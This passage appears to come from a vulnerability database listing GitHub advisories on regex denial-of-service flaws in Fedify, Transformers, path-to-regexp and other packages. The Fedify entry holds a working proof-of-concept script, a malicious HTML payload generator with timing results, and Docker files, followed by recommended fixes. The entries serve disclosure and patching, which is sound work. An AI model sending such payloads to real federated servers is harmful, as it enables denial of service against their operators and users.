profile\n2. Attacker\u0027s server responds with `Content-Type: text/html`\n3. The code path: `lookupObject()` \u2192 `documentLoader()` \u2192 `getRemoteDocument()` \u2192 HTML parsing (lines 258-287)\n4. Line 261: `response.text()` reads the entire body without size limits\n5. Line 264: Regex execution triggers catastrophic backtracking\n6. Event loop is blocked for seconds to minutes, causing DoS\n\n### Why This Is Exploitable\n\n- **No response size limit**: The HTML body is read entirely via `response.text()` without Content-Length validation\n- **No timeout by default**: `AbortSignal` is optional and not enforced\n- **Remote exploitation**: Attacker just needs the victim to fetch from their URL\n- **No authentication required**: Federation commonly involves fetching profiles from untrusted servers\n- **Amplifiable**: Multiple concurrent requests can fully disable the service\n\n---\n\n## PoC\n\n### Quick Reproduction (Node.js)\n\nYou can verify this vulnerability with the following standalone script:\n\n```javascript\n/**\n * Fedify ReDoS Vulnerability - Minimal PoC\n * \n * This script reproduces the vulnerable regex from docloader.ts\n * and demonstrates exponential time complexity.\n */\n\n// The vulnerable regex from docloader.ts:259\nconst VULNERABLE_REGEX = /\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|\u0027[^\u0027]*\u0027|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig;\n\n/**\n * Generate malicious HTML payload\n * Pattern: \u003ca a=\"b\" a=\"b\" a=\"b\"... (trailing space, no closing \u003e)\n */\nfunction generateMaliciousPayload(repetitions) {\n  return \u0027\u003ca\u0027 + \u0027 a=\"b\"\u0027.repeat(repetitions) + \u0027 \u0027;\n}\n\n/**\n * Simulate the vulnerable code path from docloader.ts lines 262-264\n */\nfunction simulateVulnerableCodePath(html) {\n  const p = /\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|\u0027[^\u0027]*\u0027|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig;\n  let m;\n  const rawAttribs = [];\n  while ((m = p.exec(html)) !== null) {\n    rawAttribs.push(m[2]);\n  }\n  return rawAttribs;\n}\n\n// Test with increasing payload sizes\nconsole.log(\u0027Fedify ReDoS Vulnerability PoC\\n\u0027);\nconsole.log(\u0027Repetitions | Payload Size | Time\u0027);\nconsole.log(\u0027------------|--------------|--------\u0027);\n\nfor (const reps of [18, 20, 22, 24, 26, 28]) {\n  const payload = generateMaliciousPayload(reps);\n  const start = performance.now();\n  simulateVulnerableCodePath(payload);\n  const elapsed = performance.now() - start;\n  \n  const timeStr = elapsed \u003e= 1000 \n    ? `${(elapsed / 1000).toFixed(2)}s` \n    : `${elapsed.toFixed(0)}ms`;\n  \n  console.log(`${String(reps).padEnd(11)} | ${String(payload.length + \u0027 bytes\u0027).padEnd(12)} | ${timeStr}`);\n  \n  // Stop if it\u0027s taking too long\n  if (elapsed \u003e 15000) break;\n}\n```\n\n### Expected Output\n\n```\nFedify ReDoS Vulnerability PoC\n\nRepetitions | Payload Size | Time\n------------|--------------|--------\n18          | 111 bytes    | 14ms\n20          | 123 bytes    | 51ms\n22          | 135 bytes    | 224ms\n24          | 147 bytes    | 852ms\n26          | 159 bytes    | 3.26s\n28          | 171 bytes    | 14.10s\n```\n\nTime approximately **quadruples every 2 additional repetitions**, demonstrating O(2^n) complexity.\n\n### Full Docker-Based PoC\n\nFor a complete demonstration, here are the Docker files to run the PoC in an isolated environment:\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003cstrong\u003eDockerfile\u003c/strong\u003e\u003c/summary\u003e\n\n```dockerfile\n# Dockerfile for Fedify ReDoS Vulnerability PoC\nFROM node:20-slim\nLABEL description=\"PoC for Fedify ReDoS vulnerability (CWE-1333)\"\n\nWORKDIR /poc\nCOPY exploit.js .\n\nCMD [\"node\", \"exploit.js\"]\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003cstrong\u003eexploit.js\u003c/strong\u003e (Full Version)\u003c/summary\u003e\n\n```javascript\n/**\n * Exploit Script for Fedify ReDoS PoC\n * \n * This script demonstrates the ReDoS vulnerability in Fedify\u0027s\n * document loader by measuring the time it takes to process\n * malicious HTML responses with varying payload sizes.\n */\n\n// The vulnerable regex from docloader.ts:259\nconst VULNERABLE_REGEX = /\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|\u0027[^\u0027]*\u0027|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig;\n\n/**\n * Generate malicious HTML payload\n */\nfunction generateMaliciousHtml(repetitions) {\n  return \u0027\u003ca\u0027 + \u0027 a=\"b\"\u0027.repeat(repetitions) + \u0027 \u0027;\n}\n\n/**\n * Generate normal HTML\n */\nfunction generateNormalHtml() {\n  return `\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n  \u003clink rel=\"alternate\" type=\"application/activity+json\" href=\"/user.json\"\u003e\n\u003c/head\u003e\n\u003cbody\u003e\u003ca href=\"/\"\u003eHome\u003c/a\u003e\u003c/body\u003e\n\u003c/html\u003e`;\n}\n\n/**\n * Simulate the vulnerable code path from docloader.ts\n */\nfunction simulateVulnerableCodePath(html) {\n  const p = /\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|\u0027[^\u0027]*\u0027|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig;\n  const p2 = /\\s+([a-z][a-z:_-]*)=(\"([^\"]*)\"|\u0027([^\u0027]*)\u0027|([^\\s\u003e]+))/ig;\n  \n  let m;\n  const rawAttribs = [];\n  while ((m = p.exec(html)) !== null) {\n    rawAttribs.push(m[2]);\n  }\n  \n  return rawAttribs;\n}\n\n/**\n * Run a single test and measure execution time\n */\nfunction runTest(html, description) {\n  const start = process.hrtime.bigint();\n  \n  try {\n    simulateVulnerableCodePath(html);\n  } catch (e) {\n    // Ignore errors\n  }\n  \n  const end = process.hrtime.bigint();\n  const durationMs = Number(end - start) / 1_000_000;\n  \n  return {\n    description,\n    durationMs,\n    payloadLength: html.length\n  };\n}\n\n/**\n * Print separator\n */\nfunction printSeparator() {\n  console.log(\u0027\u2500\u0027.repeat(60));\n}\n\n/**\n * Main exploit function\n */\nasync function main() {\n  console.log(\u0027\\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\u0027);\n  console.log(\u0027\u2551        Fedify ReDoS Vulnerability PoC                    \u2551\u0027);\n  console.log(\u0027\u2551        CWE-1333: Inefficient Regular Expression          \u2551\u0027);\n  console.log(\u0027\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n\u0027);\n\n  console.log(\u0027[*] Vulnerability Location:\u0027);\n  console.log(\u0027    File: packages/fedify/src/runtime/docloader.ts\u0027);\n  console.log(\u0027    Lines: 259-264\u0027);\n  console.log(\u0027\u0027);\n  \n  printSeparator();\n  console.log(\u0027[*] Testing normal HTML response...\u0027);\n  printSeparator();\n  \n  const normalHtml = generateNormalHtml();\n  const normalResult = runTest(normalHtml, \u0027Normal HTML\u0027);\n  console.log(`[+] Normal request completed in ${normalResult.durationMs.toFixed(2)}ms`);\n  console.log(`    Payload size: ${normalResult.payloadLength} bytes`);\n  console.log(\u0027\u0027);\n\n  printSeparator();\n  console.log(\u0027[*] Testing malicious HTML payloads (ReDoS attack)...\u0027);\n  printSeparator();\n  \n  const testCases = [\n    { reps: 18, expected: \u0027~13ms\u0027 },\n    { reps: 20, expected: \u0027~52ms\u0027 },\n    { reps: 22, expected: \u0027~228ms\u0027 },\n    { reps: 24, expected: \u0027~857ms\u0027 },\n    { reps: 26, expected: \u0027~3.4s\u0027 },\n    { reps: 28, expected: \u0027~14s\u0027 }\n  ];\n  \n  console.log(\u0027\u0027);\n  console.log(\u0027\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\u0027);\n  console.log(\u0027\u2502 Repetitions \u2502 Payload Size \u2502 Expected     \u2502 Actual         \u2502\u0027);\n  console.log(\u0027\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\u0027);\n  \n  let vulnerabilityConfirmed = false;\n  \n  for (const testCase of testCases) {\n    const maliciousHtml = generateMaliciousHtml(testCase.reps);\n    const result = runTest(maliciousHtml, `${testCase.reps} repetitions`);\n    \n    const actualTime = result.durationMs \u003e= 1000 \n      ? `${(result.durationMs / 1000).toFixed(2)}s` \n      : `${result.durationMs.toFixed(0)}ms`;\n    \n    const status = result.durationMs \u003e 100 ? \u0027\u26a0\ufe0f \u0027 : \u0027\u2713 \u0027;\n    \n    console.log(`\u2502 ${String(testCase.reps).padEnd(11)} \u2502 ${String(result.payloadLength + \u0027 bytes\u0027).padEnd(12)} \u2502 ${testCase.expected.padEnd(12)} \u2502 ${status}${actualTime.padEnd(12)} \u2502`);\n    \n    if (result.durationMs \u003e 500) {\n      vulnerabilityConfirmed = true;\n    }\n  }\n  \n  console.log(\u0027\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\u0027);\n  console.log(\u0027\u0027);\n  \n  printSeparator();\n  console.log(\u0027[*] Exponential Time Complexity Analysis\u0027);\n  printSeparator();\n  \n  console.log(\u0027\u0027);\n  console.log(\u0027Time approximately quadruples every 2 additional repetitions:\u0027);\n  console.log(\u0027\u0027);\n  console.log(\u0027  18 reps \u2192   ~14ms\u0027);\n  console.log(\u0027  20 reps \u2192   ~51ms (4x)\u0027);  \n  console.log(\u0027  22 reps \u2192  ~224ms (4x)\u0027);\n  console.log(\u0027  24 reps \u2192  ~852ms (4x)\u0027);\n  console.log(\u0027  26 reps \u2192  ~3.3s  (4x)\u0027);\n  console.log(\u0027  28 reps \u2192 ~14.0s  (4x)\u0027);\n  console.log(\u0027  30 reps \u2192 ~56.0s  (estimated)\u0027);\n  console.log(\u0027\u0027);\n  \n  printSeparator();\n  console.log(\u0027[*] Attack Scenario\u0027);\n  printSeparator();\n  \n  console.log(\u0027\u0027);\n  console.log(\u00271. Attacker sets up malicious federated server\u0027);\n  console.log(\u00272. Victim\\\u0027s Fedify app calls lookupObject(\"https://attacker.com/@user\")\u0027);\n  console.log(\u00273. Attacker responds with Content-Type: text/html\u0027);\n  console.log(\u00274. Malicious HTML payload: \u003ca a=\"b\" a=\"b\" a=\"b\"... (N times) \u0027);\n  console.log(\u00275. Fedify\\\u0027s regex enters catastrophic backtracking\u0027);\n  console.log(\u00276. Event loop blocked \u2192 Service unavailable (DoS)\u0027);\n  console.log(\u0027\u0027);\n  \n  printSeparator();\n  \n  if (vulnerabilityConfirmed) {\n    console.log(\u0027\u0027);\n    console.log(\u0027\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\u0027);\n    console.log(\u0027\u2551  \u2713 VULNERABILITY CONFIRMED                               \u2551\u0027);\n    console.log(\u0027\u2551                                                          \u2551\u0027);\n    console.log(\u0027\u2551  The HTML parsing regex in docloader.ts is vulnerable    \u2551\u0027);\n    console.log(\u0027\u2551  to ReDoS attacks. A ~150 byte payload can block the     \u2551\u0027);\n    console.log(\u0027\u2551  Node.js event loop for 7+ seconds.                      \u2551\u0027);\n    console.log(\u0027\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u0027);\n    console.log(\u0027\u0027);\n    process.exit(0);\n  } else {\n    console.log(\u0027\u0027);\n    console.log(\u0027[!] Vulnerability could not be confirmed in this environment.\u0027);\n    console.log(\u0027    This may be due to regex engine optimizations.\u0027);\n    console.log(\u0027\u0027);\n    process.exit(1);\n  }\n}\n\nmain().catch(console.error);\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003cstrong\u003erun_poc.sh\u003c/strong\u003e\u003c/summary\u003e\n\n```bash\n#!/bin/bash\n# Fedify ReDoS Vulnerability PoC Runner\n\nset -e\n\nIMAGE_NAME=\"fedify-redos-poc\"\n\necho \"Building Docker image...\"\ndocker build -t ${IMAGE_NAME} .\n\necho \"Running the PoC...\"\ndocker run --rm ${IMAGE_NAME}\n\necho \"Cleaning up...\"\ndocker rmi ${IMAGE_NAME} 2\u003e/dev/null || true\n```\n\n\u003c/details\u003e\n\n### Running the Docker PoC\n\n```bash\n# Save the above files, then:\nchmod +x run_poc.sh\n./run_poc.sh\n```\n\n---\n\n## Impact\n\n### Who Is Affected?\n\n- **All Fedify applications** that use `lookupObject()`, `getDocumentLoader()`, or the built-in document loader to fetch content from external URLs\n- **Any federated server** that fetches actor profiles, posts, or other ActivityPub objects from potentially untrusted sources\n- **Servers following standard federation patterns** - fetching remote actors is a normal operation\n\n### Severity Assessment\n\n| Factor | Assessment |\n|--------|------------|\n| **Attack Vector** | Network (remote) |\n| **Attack Complexity** | Low (trivial payload) |\n| **Privileges Required** | None |\n| **User Interaction** | None |\n| **Impact** | Availability (DoS) |\n| **Scope** | Service-wide |\n\n### Real-World Scenario\n\n1. A Mastodon-compatible server powered by Fedify receives a follow request or mention from `@attacker@evil.com`\n2. The server attempts to fetch the attacker\u0027s profile via `lookupObject()`\n3. The attacker\u0027s server responds with malicious HTML\n4. The victim server\u0027s event loop is blocked for 14+ seconds\n5. During this time, all other requests are queued and potentially time out\n6. Repeated attacks can cause sustained service unavailability\n\n---\n\n## Recommended Fix\n\n### Option 1: Use a Proper HTML Parser (Recommended)\n\nReplace regex-based HTML parsing with a DOM parser that doesn\u0027t suffer from backtracking issues:\n\n```typescript\n// Using linkedom (lightweight DOM implementation)\nimport { parseHTML } from \u0027linkedom\u0027;\n\n// Replace lines 258-287 with:\nconst { document } = parseHTML(html);\nconst links = document.querySelectorAll(\u0027a[rel=\"alternate\"], link[rel=\"alternate\"]\u0027);\n\nfor (const link of links) {\n  const type = link.getAttribute(\u0027type\u0027);\n  const href = link.getAttribute(\u0027href\u0027);\n  \n  if (\n    href \u0026\u0026\n    (type === \u0027application/activity+json\u0027 ||\n     type === \u0027application/ld+json\u0027 ||\n     type?.startsWith(\u0027application/ld+json;\u0027))\n  ) {\n    const altUri = new URL(href, docUrl);\n    if (altUri.href !== docUrl.href) {\n      return await fetch(altUri.href);\n    }\n  }\n}\n```\n\n### Option 2: Add Response Size Limits\n\nIf regex must be used, at minimum add size limits:\n\n```typescript\nconst MAX_HTML_SIZE = 1024 * 1024; // 1MB\nconst contentLength = parseInt(response.headers.get(\u0027content-length\u0027) || \u00270\u0027);\n\nif (contentLength \u003e MAX_HTML_SIZE) {\n  throw new FetchError(url, \u0027Response too large\u0027);\n}\n\nconst html = await response.text();\nif (html.length \u003e MAX_HTML_SIZE) {\n  throw new FetchError(url, \u0027Response too large\u0027);\n}\n```\n\n### Option 3: Refactor the Regex\n\nIf the regex approach is preferred, use atomic grouping or possessive quantifiers (where supported), or restructure to avoid nested quantifiers:\n\n```typescript\n// Use a non-backtracking approach with explicit attribute matching\nconst tagPattern = /\u003c(a|link)\\s+([^\u003e]+)\u003e/ig;\nconst attrPattern = /([a-z][a-z:_-]*)=(?:\"([^\"]*)\"|\u0027([^\u0027]*)\u0027|(\\S+))/ig;\n```\n\n---\n\n## Resources\n\n- [OWASP: Regular Expression Denial of Service (ReDoS)](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n- [CWE-1333: Inefficient Regular Expression Complexity](https://cwe.mitre.org/data/definitions/1333.html)\n- [Cloudflare Outage Analysis (ReDoS Example)](https://blog.cloudflare.com/details-of-the-cloudflare-outage-on-july-2-2019/)\n\n---\n\nThank you for taking the time to review this report. I\u0027m happy to provide any additional information or help test a fix. Please let me know if you have any questions!",
  "id": "GHSA-rchf-xwx2-hm93",
  "modified": "2025-12-23T16:01:12Z",
  "published": "2025-12-22T21:36:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fedify-dev/fedify/security/advisories/GHSA-rchf-xwx2-hm93"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68475"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fedify-dev/fedify/commit/2bdcb24d7d6d5886e0214ed504b63a6dc5488779"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fedify-dev/fedify/commit/bf2f0783634efed2663d1b187dc55461ee1f987a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fedify-dev/fedify"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fedify-dev/fedify/releases/tag/1.6.13"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fedify-dev/fedify/releases/tag/1.7.14"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fedify-dev/fedify/releases/tag/1.8.15"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fedify-dev/fedify/releases/tag/1.9.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Fedify has ReDoS Vulnerability in HTML Parsing Regex"
}

GHSA-RCV9-QM8P-9P6J

Vulnerability from github – Published: 2025-09-14 18:30 – Updated: 2025-09-15 20:31
VLAI
Summary
Hugging Face Transformers library has Regular Expression Denial of Service
Details

A Regular Expression Denial of Service (ReDoS) vulnerability was discovered in the Hugging Face Transformers library, specifically within the normalize_numbers() method of the EnglishNormalizer class. This vulnerability affects versions up to 4.52.4 and is fixed in version 4.53.0. The issue arises from the method's handling of numeric strings, which can be exploited using crafted input strings containing long sequences of digits, leading to excessive CPU consumption. This vulnerability impacts text-to-speech and number normalization tasks, potentially causing service disruption, resource exhaustion, and API vulnerabilities.

Severity
5.3 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "transformers"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.53.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-6051"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-15T20:31:45Z",
    "nvd_published_at": "2025-09-14T17:15:34Z",
    "severity": "MODERATE"
  },
  "details": "A Regular Expression Denial of Service (ReDoS) vulnerability was discovered in the Hugging Face Transformers library, specifically within the `normalize_numbers()` method of the `EnglishNormalizer` class. This vulnerability affects versions up to 4.52.4 and is fixed in version 4.53.0. The issue arises from the method\u0027s handling of numeric strings, which can be exploited using crafted input strings containing long sequences of digits, leading to excessive CPU consumption. This vulnerability impacts text-to-speech and number normalization tasks, potentially causing service disruption, resource exhaustion, and API vulnerabilities.",
  "id": "GHSA-rcv9-qm8p-9p6j",
  "modified": "2025-09-15T20:31:45Z",
  "published": "2025-09-14T18:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6051"
    },
    {
      "type": "WEB",
      "url": "https://github.com/huggingface/transformers/pull/38844"
    },
    {
      "type": "WEB",
      "url": "https://github.com/huggingface/transformers/commit/54a02160eb030da9be18231c77791f2eb3a52216"
    },
    {
      "type": "WEB",
      "url": "https://github.com/huggingface/transformers/commit/ba8eaba9865618253f997784aa565b96206426f0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/huggingface/transformers"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/af929523-7b59-418a-bf55-301830b2ac9d"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Hugging Face Transformers library has Regular Expression Denial of Service"
}

GHSA-RF8J-95H8-VRRR

Vulnerability from github – Published: 2023-06-29 03:30 – Updated: 2024-04-04 05:16
VLAI
Details

Mailform Pro CGI 4.3.1.2 and earlier allows a remote unauthenticated attacker to cause a denial-of-service (DoS) condition.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-32610"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-29T01:15:50Z",
    "severity": "HIGH"
  },
  "details": "Mailform Pro CGI 4.3.1.2 and earlier allows a remote unauthenticated attacker to cause a denial-of-service (DoS) condition.",
  "id": "GHSA-rf8j-95h8-vrrr",
  "modified": "2024-04-04T05:16:48Z",
  "published": "2023-06-29T03:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32610"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN70502982/index.html"
    },
    {
      "type": "WEB",
      "url": "https://www.synck.com/blogs/news/newsroom/detail_1686638620.html"
    },
    {
      "type": "WEB",
      "url": "https://www.synck.com/downloads/cgi-perl/mailformpro/feature_1361268679.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RGQX-226F-2XP4

Vulnerability from github – Published: 2022-09-21 00:00 – Updated: 2022-09-23 17:08
VLAI
Summary
steal Inefficient Regular Expression Complexity vulnerability via string variable
Details

A Regular Expression Denial of Service (ReDoS) flaw was found in stealjs steal 2.2.4 via the string variable in babel.js.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "steal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-37259"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-09-21T21:08:23Z",
    "nvd_published_at": "2022-09-20T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "A Regular Expression Denial of Service (ReDoS) flaw was found in stealjs steal 2.2.4 via the string variable in babel.js.",
  "id": "GHSA-rgqx-226f-2xp4",
  "modified": "2022-09-23T17:08:13Z",
  "published": "2022-09-21T00:00:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37259"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stealjs/steal/issues/1528"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/stealjs/steal"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stealjs/steal/blob/c9dd1eb19ed3f97aeb93cf9dcea5d68ad5d0ced9/ext/babel.js#L54124"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stealjs/steal/blob/c9dd1eb19ed3f97aeb93cf9dcea5d68ad5d0ced9/ext/babel.js#L54129"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "steal Inefficient Regular Expression Complexity vulnerability via string variable"
}

GHSA-RHX6-C78J-4Q9W

Vulnerability from github – Published: 2024-12-05 22:40 – Updated: 2025-06-03 14:30
VLAI
Summary
path-to-regexp contains a ReDoS
Details

Impact

The regular expression that is vulnerable to backtracking can be generated in versions before 0.1.12 of path-to-regexp, originally reported in CVE-2024-45296

Patches

Upgrade to 0.1.12.

Workarounds

Avoid using two parameters within a single path segment, when the separator is not . (e.g. no /:a-:b). Alternatively, you can define the regex used for both parameters and ensure they do not overlap to allow backtracking.

References

  • https://github.com/advisories/GHSA-9wv6-86v2-598j
  • https://blakeembrey.com/posts/2024-09-web-redos/
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
7.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "path-to-regexp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-52798"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-05T22:40:47Z",
    "nvd_published_at": "2024-12-05T23:15:06Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThe regular expression that is vulnerable to backtracking can be generated in versions before 0.1.12 of `path-to-regexp`, originally reported in CVE-2024-45296\n\n### Patches\n\nUpgrade to 0.1.12.\n\n### Workarounds\n\nAvoid using two parameters within a single path segment, when the separator is not `.` (e.g. no `/:a-:b`). Alternatively, you can define the regex used for both parameters and ensure they do not overlap to allow backtracking.\n\n### References\n\n- https://github.com/advisories/GHSA-9wv6-86v2-598j\n- https://blakeembrey.com/posts/2024-09-web-redos/",
  "id": "GHSA-rhx6-c78j-4q9w",
  "modified": "2025-06-03T14:30:56Z",
  "published": "2024-12-05T22:40:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-rhx6-c78j-4q9w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52798"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pillarjs/path-to-regexp/commit/f01c26a013b1889f0c217c643964513acf17f6a4"
    },
    {
      "type": "WEB",
      "url": "https://blakeembrey.com/posts/2024-09-web-redos"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pillarjs/path-to-regexp"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250124-0002"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "path-to-regexp contains a ReDoS"
}

GHSA-RJ29-J2G4-77Q8

Vulnerability from github – Published: 2024-03-18 20:39 – Updated: 2024-03-19 18:30
VLAI
Summary
[TagAwareCipher] - Decryption Failure (Regex Match)
Details

Impact

Vulnerability in SecureProps involves a regex failing to detect tags during decryption of encrypted data.

This occurs when the encrypted data has been encoded with NullEncoder and passed to TagAwareCipher, and contains special characters such as \n. As a result, the decryption process is skipped since the tags are not detected. This causes the encrypted data to be returned in plain format.

